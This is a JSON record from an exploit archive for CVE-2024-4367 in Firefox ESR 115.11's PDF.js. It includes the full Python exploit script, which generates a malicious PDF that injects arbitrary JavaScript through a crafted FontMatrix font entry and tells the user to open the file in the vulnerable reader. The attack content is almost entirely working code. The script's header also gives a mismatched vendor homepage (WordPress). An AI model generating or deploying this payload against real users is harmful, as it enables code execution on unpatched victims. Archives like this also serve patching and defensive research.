{"exploit":{"id":"EDB-52273","name":"Mozilla Firefox ESR 115.11 - PDF.js Arbitrary JavaScript Execution","description":"Mozilla Firefox ESR 115.11 - PDF.js Arbitrary JavaScript Execution","cves":["CVE-2024-4367"],"author":"Milad karimi","published":"2025-04-22","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52273","path":"exploits/multiple/remote/52273.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52273.py","vulnerabilities":[{"id":"CVE-2024-4367","state":"PUBLISHED","title":null,"titleSource":null,"description":"A type check was missing when handling fonts in PDF.js, which would allow arbitrary JavaScript execution in the PDF.js context. This vulnerability affects Firefox < 126, Firefox ESR < 115.11, and Thunderbird < 115.11.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-4367","cvss":{"version":"3.1","baseScore":5.6,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-4367"},"updatedAt":"2026-05-12T11:30:41.220Z","retrievedAt":"2026-11-26T17:37:45.340Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52273.png?v=2","url":"https://exploitbin.com/exploits/EDB-52273","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52273/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52273/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: Firefox ESR 115.11 - Arbitrary JavaScript execution in\n# PDF.js\n# Date: 2025-04-16\n# Exploit Author: Milad Karimi (Ex3ptionaL)\n# Contact: miladgrayhat@gmail.com\n# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL\n# MiRROR-H: https://mirror-h.org/search/hacker/49626/\n# Vendor Homepage: https://wordpress.org\n# Version: = 115.11\n# Tested on: Win, Ubuntu\n# CVE : CVE-2024-4367\n\n\nimport sys\n\ndef generate_payload(payload):\n    backslash_char = \"\\\\\"\n    fmt_payload = payload.replace('(', '\\\\(').replace(')', '\\\\)')\n    font_matrix = f\"/FontMatrix [0.1 0 0 0.1 0 (1{backslash_char});\\n\" +\nf\"{fmt_payload}\" + \"\\n//)]\"\n    return f\"\"\"\n%PDF-1.4\n%DUMMY\n8 0 obj\n<<\n/PatternType 2\n/Shading<<\n  /Function<<\n    /Domain[0 1]\n    /C0[0 0 1]\n    /C1[1 0.6 0]\n    /N 1\n    /FunctionType 2\n  >>\n  /ShadingType 2\n  /Coords[46 400 537 400]\n  /Extend[false false]\n  /ColorSpace/DeviceRGB\n>>\n/Type/Pattern\n>>\nendobj\n5 0 obj\n<<\n/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n0 0 573 0 573 0 341]\n/Type/Font\n/BaseFont/PAXEKO+SourceSansPro-Bold\n/LastChar 102\n/Encoding/WinAnsiEncoding\n{font_matrix}\n/Subtype/Type1\n/FirstChar 65\n/FontDescriptor 9 0 R\n>>\nendobj\n2 0 obj\n<<\n/Kids[3 0 R]\n/Type/Pages\n/Count 1\n>>\nendobj\n9 0 obj\n<<\n/Type/FontDescriptor\n/ItalicAngle 0\n/Ascent 751\n/FontBBox[-6 -12 579 713]\n/FontName/PAXEKO+SourceSansPro-Bold\n/StemV 100\n/CapHeight 713\n/Flags 32\n/FontFile3 10 0 R\n/Descent -173\n/MissingWidth 250\n>>\nendobj\n6 0 obj\n<<\n/Length 128\n>>\nstream\n47 379 489 230 re S\n/Pattern cs\nBT\n  50 500 Td\n  117 TL\n  /F1 150 Tf\n  /P1 scn\n  (AbCdEf) Tj\n  /P2 scn\n  (AbCdEf) '\nET\nendstream\nendobj\n3 0 obj\n<<\n/Type/Page\n/Resources 4 0 R\n/Contents 6 0 R\n/Parent 2 0 R\n/MediaBox[0 0 595.2756 841.8898]\n>>\nendobj\n10 0 obj\n<<\n/Length 800\n/Subtype/Type2\n>>\nstream\n\nendstream\nendobj\n7 0 obj\n<<\n/PatternType 1\n/Matrix[1 0 0 1 50 0]\n/Length 58\n/TilingType 1\n/BBox[0 0 16 16]\n/YStep 16\n/PaintType 1\n/Resources<<\n>>\n/XStep 16\n>>\nstream\n0.65 g\n0 0 16 16 re f\n0.15 g\n0 0 8 8 re f\n8 8 8 8 re f\nendstream\nendobj\n4 0 obj\n<<\n/Pattern<<\n  /P1 7 0 R\n  /P2 8 0 R\n>>\n/Font<<\n  /F1 5 0 R\n>>\n>>\nendobj\n1 0 obj\n<<\n/Pages 2 0 R\n/Type/Catalog\n/OpenAction[3 0 R /Fit]\n>>\nendobj\n\nxref\n0 11\n0000000000 65535 f\n0000002260 00000 n\n0000000522 00000 n\n0000000973 00000 n\n0000002178 00000 n\n0000000266 00000 n\n0000000794 00000 n\n0000001953 00000 n\n0000000015 00000 n\n0000000577 00000 n\n0000001085 00000 n\ntrailer\n<<\n/ID[(DUMMY) (DUMMY)]\n/Root 1 0 R\n/Size 11\n>>\nstartxref\n2333\n%%EOF\n\"\"\"\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 2:\n        print(f\"Usage: {sys.argv[0]} <payload>\")\n        sys.exit(1)\n    print(\"[+] Created malicious PDF file: poc.pdf\")\n    print(\"[+] Open the file with the vulnerable application to trigger the\nexploit.\")\n\n    payload = generate_payload(\n        sys.argv[1])\n    with open(\"poc.pdf\", \"w\") as f:\n        f.write(payload)\n\n    sys.exit(0)","sha256":"f46675062174354523750f876de1ba0d7f3a73379649de67b48c6094057b3cbc","bytes":2899,"fetchedAt":"2026-11-26T19:10:26.148Z","encoding":"utf-8 (display only; download retains original bytes)"}